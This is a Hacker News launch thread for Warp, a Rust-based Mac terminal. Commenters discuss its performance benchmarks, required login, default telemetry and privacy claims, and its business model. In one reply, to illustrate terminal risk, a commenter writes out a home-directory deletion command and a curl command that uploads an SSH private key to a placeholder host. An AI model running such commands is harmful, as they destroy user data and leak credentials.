Show HN: Warp, a Rust-based terminal (warp.dev)
I’m Zach, founder and CEO of Warp, and am excited to show you Warp, a fast Rust-based terminal that’s easy to use and built for teams. As of today, Warp is in public beta and any Mac user can download it. It works with bash, zsh, and fish.
The terminal’s teletype-like interface has made it hard for the CLI to thrive. After 20 years of programming, I still find it hard to copy a command’s output; I always forget how to use `tar`; and I always have to relearn how to move my cursor. To fix fundamental accessibility issues, I believe we need to start innovating on the terminal, and keep pushing further into the world of shells, ultimately ending up with a better integrated experience.
At Warp we are building a Rust-based terminal that keeps what’s best about the CLI while modernizing the experience. We’ve built
1) An input area that works just like a code editor: selections, cursor positioning and completion menus 2) Grouped commands and outputs: so you can easily copy, search, and share terminal outputs 3) AI-powered Command Generation and Community-sourced Workflows [0]: so you can find useful commands without leaving the terminal 4) The ability to share your outputs with teammates: no more pasting long unformatted code into Slack 5) Project Workflows: save your team’s common commands into your project so your teammates can run them from Warp See a demo here: [1]
We built Warp in Rust with GPU-accelerated graphics, and along the way we built our own UI framework, a text editor that’s a CRDT, and an out-of-the-box theming system. You can learn more here [2]. Huge thanks to our early collaborators: Atom co-founder Nathan Sobo, Nushell co-founder Andres Robalino, and Fish shell lead developer Peter Ammon.
We are planning to first open-source our Rust UI framework, and then parts and potentially all of our client. As of now, the community has already been contributing new themes [3]. And we’ve just opened a repository for the community to contribute common useful commands. [4]
Our business model is to make the terminal so useful for individuals that their companies will want to pay for the team features. We will never sell your data.
We are calling today’s release a “beta” because we know there are still some issues to smooth out. You will notice that a log-in is required and that we do collect usage data and crash reports. We do so to enable team features and also to keep improving the product. Post-beta, we will allow users to opt out of usage data. You can see our privacy policy here [5].
While it is a “beta”, we are confident that even today the experience is meaningfully better than in other terminals. If you use a Mac, please give it a shot at warp.dev and let us know how it goes. Otherwise, sign up here [6] to be notified when Warp is ready for your platform.
Join our community on Discord [7] and follow us on Twitter [8]
Let me know what you think! Ask me anything!
[0] https://docs.warp.dev/features/workflows
[1] https://youtu.be/X0LzWAVlOC0
[2] https://blog.warp.dev/how-warp-works/
[3] https://github.com/warpdotdev/themes
[4] https://github.com/warpdotdev/workflows
[5] https://warp.dev/privacy
[6] https://github.com/warpdotdev/warp/issues/120 and We are planning to first open-source our Rust UI framework, and then parts and potentially all of our client codebase. The server portion of Warp will remain closed-source for now. You can see how we’re thinking about open source here: https://github.com/warpdotdev/Warp/discussions/400 TLDR; As a side note, we are open sourcing our extension points as we go. The community has already been contributing new themes [https://github.com/warpdotdev/themes]. And we’ve just opened a repository for the community to contribute common useful commands. [https://github.com/warpdotdev/workflows] Just my thoughts on this: I wouldn't consider using it personally, but would advocate for using it in companies where e.g. there are engineers that work closely with support, teaching them how to debug etc. If it was OSS, I do think it would increase adoption by a lot. And yes - once we go cross-platform, we will work on the a11y support there too. Glad to hear it! I'm working on a Rust GUI accessibility library that might interest you: https://github.com/AccessKit/accesskit If you'd like to email me so we can compare implementation approaches and perhaps avoid duplicated effort, my email address is in my HN profile. Right now, we have two relevant features:
1. The ability to share a "block" of input/output to a permalink that anyone can view.
2. A.I. command search. Later on, for an individual, it may mean being able to sync settings across devices, fast setup of your terminal on new computers, and being able to access the command line on any device via the web. For teams, it means we can build collaborative features. This does not mean just Google Docs-style real-time collaboration, but asynchronous collaboration through sharing commands, settings, and history. It means increased knowledge-sharing through wikis and READMEs that run directly in the terminal. It means making the terminal safer and more secure via integrated password-management and audit logging. It means making the terminal a more extensible and customizable platform, with a nice modern ecosystem. The app works offline, just the two features I mentioned won't work. Just a heads up: on Pixel 6 on Firefox, the homepage is not smooth at all and feels sluggish. I think they are planning a lot of work for teams. Some people hate IDEs, but I love them. I see this as IDE-izing the terminal. We started by forking Alacritty's model and parser and because we have a similar architecture (Rust-based, rendered on the GPU) we should generally be at, or near, the performance of Alacritty. Alacritty CPU: Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz VT support: no ManyLine: 1.5670s (0.0399gb/s) LongLine: 1.1261s (0.0555gb/s) FGPerChar: 0.3293s (0.0551gb/s) FGBGPerChar: 0.6598s (0.0534gb/s) TermMarkV2 Small: 3.6822s (0.0484gb/s) iTerm CPU: Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz VT support: no ManyLine: 13.2968s (0.0047gb/s) LongLine: 3.6535s (0.0171gb/s) FGPerChar: 1.8944s (0.0096gb/s) FGBGPerChar: 2.8304s (0.0125gb/s) TermMarkV2 Small: 21.6750s (0.0082gb/s) Warp CPU: Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz VT support: no ManyLine: 9.6199s (0.0065gb/s) LongLine: 8.3727s (0.0075gb/s) FGPerChar: 8.1124s (0.0022gb/s) FGBGPerChar: 6.0873s (0.0058gb/s) TermMarkV2 Small: 32.1924s (0.0055gb/s) > evidence that it’s not > Yeah, this is a known issue I don’t want to be critical, but which is it? If you know you are not anywhere near the performance, why say you are? (in a voice like Jon Lovitz as Master Thespian) Marketing! Ideally we'd ace all of them, but we're not there yet. Anecdotally, many of our users mention speed/performance improvements over other terminal apps a lot in our Discord! [1] https://github.com/alacritty/vtebench
[2] https://www.warp.dev/blog/how-warp-works https://github.com/wez/wezterm/issues/192 So it's not all that bad ;) https://wezfurlong.org/wezterm/ Having now tried Warp, I think it's fine. I doubt performance will be a problem. What concerns me more is that it's not open-source. I feel like a crazy person in this thread because I’ve literally never had the thought: “I could be so much more productive but this damn terminal is slowing me down”. Most terminals don't even implement most well understood "hacks" to keep up with the apps they're running (e.g. "render" to a text buffer and render the text buffer to the screen separately and decoupled (multiplex or on separate threads)), because people rarely are affected enough to care. This is a lot of terminal I/O, and you want this scrolling to be fast, smooth, and to not flash or blink awkwardly. I do this because I'm running my editor on a remote machine over SSH, which has a ton of cores, memory, and fast disk. Just firing up the LSP server on this giant monorepo causes the fans on my laptop to spin like crazy and takes forever to initialize. Blazing fast on this remote host. Additionally, Warp has GUI elements like blocks and context menus. We talk about performance because when we discuss our features, people automatically assume it's going to be sluggish. - Outgoing request to googleapis.com - Outgoing request to segment.io - Outgoing request to sentry.io - Requires sign up (only via Github, mind you) I understand the first request is probably to get some dynamic configuration, even though I'd rather my terminal ship with static configuration. But then you have segment and sentry: not interested in sending telemetry from my terminal. Finally having user accounts for a terminal is such as strange concept. I really wanted to like it, too. The screenshots look great https://docs.warp.dev/getting-started/getting-started-with-w... > Our general philosophy is complete transparency and control of any data leaving your machine. This means that in general any data sharing is opt-in and under the control of the user, and you should be able to remove or export that data from our servers at any time. They then go on, further down the page, to say that this first paragraph is a complete lie- > However, for our beta phase, we do send telemetry by default and we do associate it with the logged in user because it makes it much easier to reach out and get feedback when something goes wrong. Honestly opting in by default is, at least in my opinion, not acceptable. People who would say no to that popup would not appreciate you randomly reaching out to them anyway. > Private & Secure > All cloud features are opt-in. Data is encrypted at rest. It would be meaningful to indicate whether you track console input as well. > We do not store any data from the command input or output itself as part of our telemetry. We don't store any content of _any_ part of a command that's executed in Warp. Founders don't really have much control over what the tools they create wind up being used for. Assume that some people will use any tool you encounter for the worst thing it can possibly do. If the tool has significant potential to do things that bother you, don't use it. Acts of God are a better model for that than business decisions. Some users will abuse the snot out of it, and a small start up may not even realize that's happening for months. The founder may not retain the authority to control decisions about what changes to make to the tools or how to monetize them. Hackers may break into the servers and use the tool for their own ends. And, yes, often enough the founder themselves will throw the users under the bus when push comes to shove. The reason we don't submit this only during a crash, is because there are a lot of other things we want to know about users like: Which features are they using? Are they sticking to warp as their daily driver? How much time do they spend in the app? We do want to make the telemetry opt-in after Warp is out of beta. We don’t know about any shells outside of Warp so technically, they could also using other terminals - but that’s enough info for our product development. We never track the contents of commands. A full telemetry table is included in our user docs. Totally understand you’re a new venture backed business, however, you most likely are targeting the wrong group of users by automatically sending data over the internet for “no reason”. That's just wrong. Very few users, regardless of loyalty, would bother sending feedback. That's why many companies have drives with gift cards or whatever as reward for participating in giving feedback. And even then, you'd get a limited subset of users ( loyal, loud, with time available to waste) instead of everyone like with telemetry. Everything your company says regarding privacy seems to be a complete lie. You contradict yourselves everywhere. As a security officer I would never allow any company whose security I run to use your product- even if you fix this issues now who knows if you're going to lie again in the future. Trust is hard to regain once lost, and your company definitely blew it here. It's 2022 FFS, and still companies are over-stepping the mark - companies behaving like yours are exactly the reason GDPR and ePrivacy etc exist in the first place :/ > Announcing Warp’s Series A: $17M to build a better terminal And just thinking about this... it's not clear to me what their moat will be as I suspect if there's a really compelling feature it will be available in OSS terminals quite quickly. Perhaps it's the product polish? But I'm not sure polish is what I want from a terminal, at least... it's not the top thing I want . Most of these features are already available if one spends a bit of time configuring their terminal/shell. It's pretty easy in vim once you learn how to use visual block mode. That or using Sed to replace text in a selection or the entire file. I don't like using tons of plugins but multi cursor with with selective invocation like the ctrl-d of sublime etc was the main thing I missed when moving to vim. (I use visual block mode too but it's not the same thing). One of Warp is that you don't have to think twice about it because it behaves similarly to text fields everywhere else on your computer. In the terminal, I often have the feeling that personal computing revolution from Xerox PARC & Apple Computer never happened. Most of the stuff sibling comment is referring to center around the feature: 'edit-and-execute-command' in bash. There is a similar incantation for zsh. I summon it with, 'ESC v' in both. 1. discoverability 2. wide spread use. Bash and zsh fail both tests. Use something like fish to see what real feature discoverability for a shell looks like. And I say this as a zsh user that has waded through the mountains of obscure documentation to set it up. Don't fall into Stockholm syndrome and think that if you went through hardship, others should, too. 99% of bash/zsh discussion threads are someone going: "here is awesome feature I found" (where frequently that feature is something that should have been painfully obvious to notice) and then 100 replies: "that's so cool and useful, I never knew about it and I've been using bash/zsh for N > 5 years". You can go the other direction. Install neovim. Run `:terminal`. optionally run `:help Terminal-mode` first so you can figure out how to get out. You can use ctrl-x ctrl-e in most terminals. https://unix.stackexchange.com/questions/85391/where-is-the-... It's great to use this with awesomewm for windows management, and vimium for browser control.
Then you can develop in vim, bash in vim, browse in vim, and switch windows with vim. You don't have to learn 10 different, unintuitive, and ridiculous hotkeys for each different program or level. FWIW, the Warp terminal will be free for individuals. We would never charge for anything a terminal currently does. So no paywalls around SSH or anything like that. The types of features we could eventually charge for are team features. Our bet is that the moat is going to be the team features, like: - Sharing hard-to-remember workflows - Wikis and READMEs that run directly in the terminal - Session sharing for joint debugging Our bet is their companies are willing to pay for these. BTW, even these team features will likely be free up to some level of usage and only charged in a company context. Shell scripts implies, well, a particular shell. If everyone is on similar OSes, maybe that works for you, but as a Windows user, "pile of bash scripts" might as well be "doesn't work for you." I use a terminal for my daily work, but don't have bash installed on my machine. That said, I haven't tried Warp yet specifically because it's Mac-only right now. Even within that context, Warp integrates with Bash, Zsh, or Fish, which do have their own extensions to POSIX shell, but at least you can rely on Bash being installed. For mac <-> linux, posix-compliant scripts mostly work in my experience but you have to account for different versions of gnu utils. For linux <-> windows, if it's small you could just write a powershell script, or use something like python on both, no? I fail to see how these features are nice enough to force people to use a proprietary terminal that, for now, is compatible with existing bash/zsh shells. My point is mostly that shell isn't cross-platform, and this is one way you could address that. But it's not a generalized solution, absolutely. (and yeah, something like Python is better than trying to keep multiple of the same scripts in different languages, for sure. You can do it if you wanted though, if they're small and you're willing to commit to it, I'm not sure I've ever seen it really pulled off.) basically every operating system has a posix shell by default except windows, but it has been ported there multiple times, samba existed for decades and WSL is on the rise. It may sound a little more irritating but they deserve it for still running windows :p /hj
(besides you can just host an ssh server) workflows I would assume to be portable, yes. It is an assumption. I generally expect program configuration to be mostly cross platform by default. I’m not sure what a program written for a particular terminal would be, so I’m not sure if I’d assume portability or not. Shells are not ubiquitous, even if they are available across platforms technically. Python is truly cross platform and largely ubiquitous. > You aren't the one porting Warp, but you are the one porting the shell script. It sounds like your are saying somthing like "Warp scripts/workflows require almost no effort to port, compared to the shell scripts they replace". I was interested to learn how this can be the case. Perhaps my interpretation was wrong. > Perhaps my interpretation was wrong. And perhaps mine is. The docs aren't in-depth and I don't own a Mac. But really, ultimately, "are workflows more portable" isn't a question I personally am wed to; it's that "shell scripts are only portable via UNIXes and there's a much bigger world out there" that I am, and I am hoping that workflows are more portable than shell scripts. In practice, they may be, or they may not be, but since they're in a layer above the shell, it's possible that they're not shell-specific. > - Wikis and READMEs that run directly in the terminal
No thank you > - Session sharing for joint debugging
= That's more for development.. not for shell access > Our bet is their companies are willing to pay for these. BTW, even these team features will likely be free up to some level of usage and only charged in a company context. I actually don't want them. I migrated from many apps that do too much to apps that do one thing really well. You can probably maximize community acceptance if you provide clients that do not use these features as actual FOSS and only start incorporating closed-source pieces for those features. With things like client keys etc to restrict server access. A bit like the Chrome/Chromium thing was intended initially. Those get codified into ansible and deployed on CI/CD pipelines. This is an anti-feature. The day that someone suggests using a terminal to manage hard-to-remember workflows is the day I start a huge crusade to fix whatever process led to introducing yet another tool. Nushell can open READMEs natively and can admittedly work with Wikis through a plugin. * I feel compelled to point out that Grammarly disagree with this definition because it doesn't send every single keystroke, just the ones in non-password text boxes. If the argument is, it's not a keylogger because it's not logging sensitive information, well I type plenty of sensitive information into non-password textboxes. This isn't something you can ever be ready for. It's so completely and obviously wrong. Just say no. Totally understand if you're not comfortable with that though! It will be removed when Warp is out of the beta test. Incidentally, you might be interested to know that in the last 8 hours my comment has gotten 25 upvotes; that’s a lot of lost customers. No, that's a lot of people who upvoted your comment. I'd wager anyone who agrees with your perspective is unlikely to have been a Warp customer in the first place. (Speaking as one who tends towards your side of this discussion.) It just results in loosing infrequently used but important features. First it gets moved from a button to a menu, then to a sub-menu and eventually removed. But for that to work you have to start with something that is both very extensible, and yet is also coherently designed. The extensibility has to be a strong part of that initial design, so that the software is designed to be malleable. History has shown that telemetry is effectively spyware until proven otherwise, no matter who does it. > If GitHub/Microsoft had released this product, would you be raising the same concerns? Yes. It’s one of the reasons I use the open source build instead. Up until now, you've had to make these design decisions on your own, relying only on perplexing intangibilities like 'taste' and 'intuition'. Microsoft is a criminal enterprise that relatively recently got god to a degree and actually started caring about their image at home while still facilitating crime and corruption abroad. The fact that many are stupid enough to trust them with their data does not imply that this is a reasonable choice. It's not for everyone but yes there are still Don Quixotes like me fighting the army of windmills :) I suspect the proportion of us here at HN is pretty high too. Yikes. I expect that a terminal program which requires a login to a completely unrelated service will end up meeting the same fate as that email client did. IIRC, that was Mailbox. Dropbox bought them a month after launch and then, sadly, killed it off two years later.[^1] [1]: https://www.theverge.com/2015/12/8/9873268/why-dropbox-mailb... I couldn't remember it, but with a generic name like Mailbox that's not a surprise. I expect my terminal to be a much more secure environment than my web browser. When an application starts communicating with the internet, I have no choice but to treat it with the same level of scrutiny as my browser. Even making telemetry opt-in means that it has the capability to send information to the internet that I don’t know about, which means that I have to treat it like an application that can do that. Honestly, this freaks me out. It’s an angle I’ve never considered before. Now I need to make sure my current terminal emulator (kitty) isn’t sending information to the internet without my permission. EDIT: To be fair there is some transparency in the original post. I was looking through the landing page for it (where it is not mentioned). Also, imho it should still be opt-in even for beta. Not everyone is going to read the wall of text to parse out the buried note on telemetry they actually listen to our feedback, remove forced telemetry, remove sign-in in the next release, then i'd be more happy to give their product another chance although no guarantee they'll not turn evil at some point in the future... I don't personally see any reason to swap terminal with telemetry. One of my worst fears that some day I am forced to. But yeah, terminals are very sensitive environments, opt-in should be a default even at launch. I agree both that telemetry is useful and that there's not necessarily a place for it in the tool I use to manage my workstation and hundreds of servers. Perhaps I'd opt in to a middle ground, that is collect telemetry locally into a support file I can review, evaluate, and potentially redact before submission. Is this really the case? It seems that to find mistakes in software for various interaction patterns, truly exhaustive automated tests would likely work far better by various measures (coverage, reliability, reproducibility, reusability etc.) and at the same time do not have the extreme downside of privacy invasion. For example, see a section from the Age of Empires Post Mortem https://www.gamedeveloper.com/pc/the-game-developer-archives... : "8. We didn’t take enough advantage of automated testing. In the final weeks of development, we set up the game to automatically play up to eight computers against each other. Additionally, a second computer containing the development platform and debugger could monitor each computer that took part. These games, while randomly generated, were logged so that if anything happened, we could reproduce the exact game over and over until we isolated the problem. The games themselves were allowed to run at an accelerated speed and were left running overnight. This was a great success and helped us in isolating very hard to reproduce problems. Our failure was in not doing this earlier in development; it could have saved us a great deal of time and effort. All of our future production plans now include automated testing from Day One." Always-on metrics are massively higher quality data. They don't collect the same kind of data in many cases, but they can reveal a lot of things that never get reported. They also don't suffer from the well-established pattern of people not accurately reporting their own behavior when asked / polled (stronger when asking about future behavior, but it applies in all cases). Automated Error reporting does has it uses. Then why is the telemetry-encrusted modern Windows a usability fail, even compared to past versions of Windows which relied on extensive in-house user testing? That's my theory anyway. As evidence of this, I offer: the vast majority of all human behavior over literally all time. You are not entitled to access my machine, and that shouldn't be casually dismissed with "don't worry, we're not doing anything bad." You're creating potential vulnerabilities, and by implementing identifiable patterns, reducing the security of your users. You shouldn't spy on people, and when you do, it's wrong. Remotely inspecting people's behavior is spying. Your software doesn't need to phone home. It doesn't need automatic updates. You don't need to spy on people to develop good software. That's toxic nonsense. Case studies, focus groups, surveys and interviews are great ways to determine usage patterns and problems with products and services. Of course, you'd need to pay users to participate in them, and then you need to pay expensive employees to conduct, collect and analyze the results. Spying is cheaper than doing any of that. - be opt-in - provide an easy to read & access log which can be reviewed by the user at any point - never collect unnecessary information 'just because' it might be useful in the future - should provide a very good detailed analysis of any claims to anonymity If something doesn't even fulfil the first criterion, it's probably violating all the others too. If a company is committed to never spying, then they'd have no problem making such terms contractually binding on their end. Companies that say they're against spying, but leave the option to collect their users' data open for the future, aren't really committed to not spying. Then why would anybody bother to invest in their next series? Their getting started instructions [0] are all just terminal commands too, and even that doesn't mention Mac once. Not that it is not annoying, it is, but that's pretty common with Mac-only software in my experience. On the rare occasion it is truly just win, it's usually made clear far more than macos only. We should make it even more transparent what we collect. You can see it here: https://docs.warp.dev/getting-started/privacy#exhaustive-tel... Re: big business, we're still pretty small, but it's true that we are trying to build a business around the command-line. I get that's controversial and it's not something that exists and that the terminal is a super-sensitive low level tool. We will never ever build a business around terminal data, and to be super explicit, we are 100% not collecting any command inputs or outputs. The business that we want to build is around making a terminal (or a platform for text based apps) that grows because it makes individuals and teams a lot more productive on the command line. I've there's one thing I've taken away from this ShowHN so far is that there is a lot of well-founded concern about the terminal and user data and that we need to do a better job on this issue. Given that, it's probably the case that the only options are to either be fully open source or to make a fully offline mode an option. In any case, I think the concept for your product is excellent—it's been mind-boggling to me that something along these lines wasn't tackled years ago, so I look forward to your guys' future success, hopefully moving the state of terminal interaction into the modern era. It's not just that the level of trust is very low. I shouldn't need to place any trust in the developers of my terminal at all. If I can't know for a fact that it's not acting against my interests, then I'll pass. I already have such a big selection of fully open-source terminals available. Why would I even consider taking any king of risk with this one? My advice here would be to simply make telemetry opt-in during the beta period. I’m typically pretty liberal about opting in to telemetry (particularly when the extent of which is documented), but obviously a lot of your users will not be. Your desire to accelerate your progress seems to conflate with the needs of your target demo, and I think this warrants adjustment. Look at the recent logging fiasco for an example. A useful terminal cannot be prevented from contacting remote hosts. Warp could certainly promise not to include any phone-home functionality in their code, but unless it's open-source and everything is audited, it could easily call the host system's HTTP client and still phone home. Is this true? This sounds wrong to me but I don't know the inner workings of terminals. The terminal just executes programs and handles pipes it seems. A terminal can be completely walled from the internet, and when you execute something from it, say, curl, then curl has it's own memory space and access layer outside the terminal, and just has it's stdio wired to the terminal. As I said in my comment, even if you "wall" the terminal off from the internet, if it can make system calls on behalf of the user, it can still access the internet. If a terminal has sufficient access to the host system to call `curl https://www.google.com` on behalf of the user, then it can call it without any user input. There is nothing on the host machine that can authenticate system calls coming from the terminal application as "user-initiated" or not. This is similar to the warning that "you can't trust the client"[1]. 1. https://security.stackexchange.com/questions/105389/dont-tru... This is a human problem, not a software one. Your terminal is as trustworthy as its creators. It cannot be locked down to prevent telemetry and still be a useful terminal. That was my original point and it is still true. No one should use a for-profit terminal emulator, especially one created by a VC-backed startup, full stop. Wat? Your terminal is 1000x less secure than your browser. Your terminal can do `rm -rf ~/`. your terminal can run `curl -F 'data=@~/.ssh/id.rsa' https://bad.com` and that just 2 of 1000s. JS on your browser can do none of those. Maybe you meant to say you want apps running from the terminal to not phone home but nothing in the terminal prevents that. the browser is also a place to run software. There, that software can not do anything to your system nor can it steal any data You'll be warned if you do the first, and plenty of people are phished via browsers. Our stance here is that: 1) We are very explicit about what gets sent (only telemetry and crash reporting) and you can see the full list of telemetry events here (https://docs.warp.dev/getting-started/privacy#exhaustive-tel...) 2) For collaborative features like block-sharing (e.g. https://app.warp.dev/block/tbxmeAKsj657aHkPdHpmoY) it's completely opt-in However, I do believe pretty deeply that every app has the potential to be much more powerful if it leverages the internet and I think the terminal is not an exception. I stand by that but get that it's a paradigm shift. Please keep the feedback coming though - it's helpful to understand how you think about it. But that’s exactly it. A lot of people on here, including me, do not agree that _every_ app has that potential. In fact many believe that internet connected apps are unnecessary for many things. There is strong evidence against this if you just look at the number of “secure” systems that have been hacked over the decades. While you may capture a large audience with your internet-first terminal “app”, who honestly don’t care about this stuff while at work, you will get pushback from HN and somewhat+ privacy concerned devs. Here's another rust based terminal you can check out:
https://github.com/alacritty/alacritty The value proposition is negative. A paradigm shift, sure, but IMO in wrong direction. I feel bad for the engineers who worked on this, as this is really awesome but probably will not find market fit try again It's more essential to be honest about this during the beta period than after, so "oh it will be opt in" is a cold comfort, alongside the approximately never-true "we'll open source it some day." Not touching this with a ten foot pole. Not for something as essential to my day to day work as a terminal. How does a company expect lying on HN to work out well for them? I'm sure they're doing their best, and are excited about their launch. But they are coming off as so shady because they're trying to fool people. Opt-in refers to anything that sends any contents of a terminal session to our servers (as opposed to telemetry which is metadata and never contains any terminal input or output). But we hear the feedback and appreciate it. >When Warp comes out of beta, telemetry will be opt-in and anonymous. >But for our beta phase, we do send telemetry by default and we do associate it with the logged in user because it makes it much easier to reach out and get feedback when something goes wrong. Twilio, the owner of Segment.io is also a US company and will receive individual-related telemetry data, which should break with GDPR. There shouldn’t even be the option to opt-in to something so privacy violating. Having built-in sending of session content means dangerous data exfiltration is always just one bug or accidental click away. "Private & Secure:
All cloud features are opt-in. Data is encrypted at rest." While you might have some wiggle room to say that telemetry is not a "cloud feature", logging in with github is absolutely a cloud thing and it's not really opt-in if you can't use the software without literally identifying yourself to a cloud service. You should at the very least remove that text from your front page until you're out of beta and it's actually true. And that's ignoring the fact that there's no victory in splitting hairs over the definition of cloud stuff to pretend you're not walking a very fine line. Because you posted directly to HN and clearly want to show this audience the value of your work, I expected a somewhat different reply to this critique. A more user-centered reply might have been to say you understand the confusion and will look into making this truly opt-in with the team. I think the strong message you're getting from this community—who is, after all, your target audience—is that before sending any data (whether you choose to label it telemetry, tracking, diagnostic data, or otherwise), you should explicitly ask in the terminal itself whether the user finds this acceptable. I don't want to put down an effort with seemingly good intentions like this one, so please take this engagement in the spirit it was given. Second, your user onboarding has too much friction with mandatory Github logins. You need an advisor / product manager who can guide you better when making these "human" decisions. To be fair, I think HN is a collection of outliers when it comes to caring about network activity caused by running programs. Most devs will probably just be happy that the tool provides a lot of value. Yup, well, that's what happens when you take money from VCs or other third party investors, you need to monetise / demonstrate ROI / need numbers for your investor slide-decks. I'll stick to my old-fashioned spyware free terminal thanks very much. Why overcomplicate things that don't need to be complicated. But I made the mistake of letting investors share executive control of the company, and pop there goes the pro-privacy policy. In defence of founders everywhere, however, I will say that the investors didn’t just say “no”. They strung me along for almost a year, insisting we would be meeting about it, recording decisions where we apparently agreed, even pointing out those decisions while they flagrantly violated them in practice. So who knows what’s happened here. A lot of the messaging sounds like what happened to me. “Yes we know privacy is important and in the future mumble mumble.” Among other things, it is disturbing how chatty a lot of things are. (Did you know Apple Mail keeps track of which account you email different people with and wants to send that to configuration.apple.com, even if you have carefully disabled everything Icloud related?) There's a similar tool for Linux, but I usually keep a networkless VM around for playing with potentially sketchy things. How much do you trust little snitch? And then asking to keep a copy of your drivers license for ten years is a complete non starter. (Yes, that's in their privacy policy) Here’s a link to the policy: https://www.obdev.at/privacy/index.html Agreed! Let's just wait for a FOSS alternative to pop up that has a few similar fundamental features. Don't need the cloud-multi-user-account-based stuff. Well, at least they didn't lie. As of my personal position: I want less products in my computing environments, not more. I hope more people would ponder on possible ramifications of going in the opposite direction. Warp looks really cool as a tool and I intend to try it as soon as it's available on Linux, but it was pretty bold of them to include outgoing network requests by default before presenting directly to HN. I saw the post about "everything is opt in, where 'everything' means 'sending terminal contents'" - as if people read privacy policies before trying out a new dev tool. Looks cool but I will never even give this a try. I gave up MacOS for Linux because I felt like Apple wasn’t letting me operate my own computer anymore. Even Ubuntu has eroded the transparency and control I have over my computer over the last decade, at least that’s my perception. I feel like the only part of my computer that I understand anymore is what happens in the terminal. I don’t categorically hate having magic happen on some remote server that makes computing easier for me in some way… but I really need to have a space that I understand and control and — over time — that place has slowly been compressed into the command line. I'd be supportive of "report issue" buttons (I'd use them, yes), and occasional "Hey, you've used this app for a week/two/month, may we send some telemetry? We need it to better understand how the app is used. Here's the data, is it OK to upload it?" prompts. Yes, as long as I don't see anything sensitive in the payload - it sure is okay, you respect me and I respect you (with bonus points for politely asking); and I'll be sure to reaching out if I'd see anything sensitive. Phoning home from the get-go for anything but an anonymous update check and requiring some account is a hard "no". edit: no windows or linux support ??? It seems like misdirection and sleezy marketing. Products built with Rust are particularly susceptible to it. My thoughts exactly. I don't use potential keyloggers on my browser (think grammarly or similar), I'm not going to install a terminal making requests or getting my data as I use it. They promise that after beta you won't need Github, and telemetry will be optional. Though imo this is just as easy to read and understand:
https://assets-global.website-files.com/60352b1db5736ada4741... The general stance on telemetry that we have is that
a) we are just starting and it's really helpful to see which of our product ideas are useful to our users (e.g. does anyone use AI Command Search? Should we continue to invest in it)
b) we tried to be very explicit about what we are and are not sending - it is only metadata and never command input or output (you can see the full list of events we track here: https://docs.warp.dev/getting-started/privacy#exhaustive-tel...
c) if you aren't comfortable with telemetry, then please don't use the product just yet - we will make telemetry opt-in when we have a large enough sample size that we can be confident extrapolating what's going on For googleapis - this is for login. We use firebase as our auth provider. For segment - this is for temeletry, as you point out. For sentry - this is for crash reporting. As for why we have accounts, it's because we are starting to add features for teams and it's important in that context that there is some type of identity associated with the user. But like I said at the start - the feedback is totally reasonable and we are trying to figure out how to balance concerns here while still being in a good place to iterate on and improve the product. I'd be much more trustful of your product (and indeed, I do desperately need a better terminal!) if you were to: - make Sentry crash reporting opt-in (or at the very least have a popup that occurs with the content of what will be sent to Sentry before anything is sent to Sentry), AND - clarify in your event telemetry documentation, and explicitly in your Privacy Policy, that ONLY the event ID/name, timing, and the user ID are sent to Segment, nothing else. But I simply cannot use a terminal where my keystrokes might be logged to anyone's Sentry or Segment account - even if it were our company's own Sentry account. The risk of partner-entrusted credential leakage into an insecure environment is simply too high. 100% this. I don't entirely understand why Warp needs to connect to Sentry right at application launch. If it crashes, capture that crash and present me an opportunity to report it or not. If I do agree to report it, first present me the complete text of everything that will be reported. I understand that this puts some hurdles in the way of getting crash reports. But terminals frequently contain information far too sensitive to trust with these things being automated. You can use the Firebase login tools without the person identification stuff pulled in. Note that for companies failing to do this in a privacy respecting way, a savvy user can usually get granular at the firewall and get the login to work without the audience reporting. Which means you could… Similarly, in my book, segment.io isn’t just “telemetry” so much as it’s killer feature of cross app audience persona correlation, so less about what’s up with the app, more trying to learn more about the users without asking them. If you were instrumenting the app UX and not trying to see who is using you, there are other choices. A number of ways to do accounts that can leverage a person’s own IdP or other approaches where you don’t have to have accounts, e.g. most any channel the team or group can access will do to get in sync on a session start. Regardless, and even if GitHub and e.g GitHub Orgs are your way, all of them should be optional since not everyone is desperate to team their cli. Last, and sorry to put it like this, if you’ve “discussed it quite a bit” as a team, I’m not sure but maybe that gives me less confidence in your respect for security, privacy, and users. I’d imagine that deliberate discussion backed by respect for your users and team know-how should have resulted in a different set of choices. Even VScode a massive Microsoft project does not require signup/authentication to use it... Love the design, but seems like a very enterprise-driven and niche product for a lot of developers It's not open source, and "maybe it will eventually be" is unacceptable for such a core component of an engineer's workflow. Most of the features on the front page are "coming soon," not actually available. There's no timeline for support for non-Mac OS systems, and it's built using Metal rather than any cross-platform API, so it will be at least moderately difficult to port. (Isn't the whole point collaboration?) It is "blazingly-fast" but has no benchmarks for latency or startup time. The team raised money because "[b]uilding a terminal is hard," and the business model seems reasonable - build a terminal people like, and then get businesses to pay for it - but I'm hard-pressed to find a use case that would benefit from the upsides of this tool which isn't also utterly hamstrung by its shortcomings, at least currently. Yeah, maybe you can justify it at an all-Mac dev shop, but at the last all-Mac place I worked we did everything this currently does with iTerm (free) and Tuple, and frankly I don't see this obviating the need for Tuple in that use case. (EDIT: Tuple also works fine on Linux, and of course there are myriad excellent terminals for Linux.) Perhaps most importantly, though, this FAQ entry concerns me: > Every session you work on your desktop can be backed by a secure web permalink. It opens into a browser tab that shows your terminal state and allows readers to scroll and interact with the read-only elements. You might use this for yourself: so you can view and run commands on it while you're away from your machine. Or you might share it with a coworker for debugging. First of all, is this actually available at the moment? I think not, since "Web (WASM)" is still on the roadmap. Second, "secure" is doing a lot of work here. What's the threat model Warp considers themselves secure against? How are these sessions allocated? Does every terminal start in a connected state, or is the connection only made once the user opts in? Are the terminal sessions E2EE? Are they exposed to Warp's internal systems? If so, what is stopping any attacker who makes it into Warp's network from remotely monitoring and controlling user machines? If Warp says it _is_ E2EE or otherwise secured in this manner, how can we trust them when it's not open source? This seems too risky to be worth using seriously, and perhaps too risky to even try out. Regarding the cross-platform piece, the plan is absolutely to support different platforms. In fact we've built our own cross-platform UI framework to help us with this endeavor which you can read about here: https://www.warp.dev/blog/how-warp-works. We chose Metal to start because the Metal debugging tools in Xcode are excellent, allowing us to inspect texture resources and easily measure important metrics like frame rate and GPU memory size. Thankfully, because our graphics code is decoupled from our UI framework, porting the graphics piece of the UI framework essentially mounts to porting over a few hundred lines of shader code, which shouldn't be too difficult. Software doesn't need to be open source for it to be adopted, if they have the right security practices and I'm sure for enterprise contracts they will have the right level of information available under NDA when GA. I 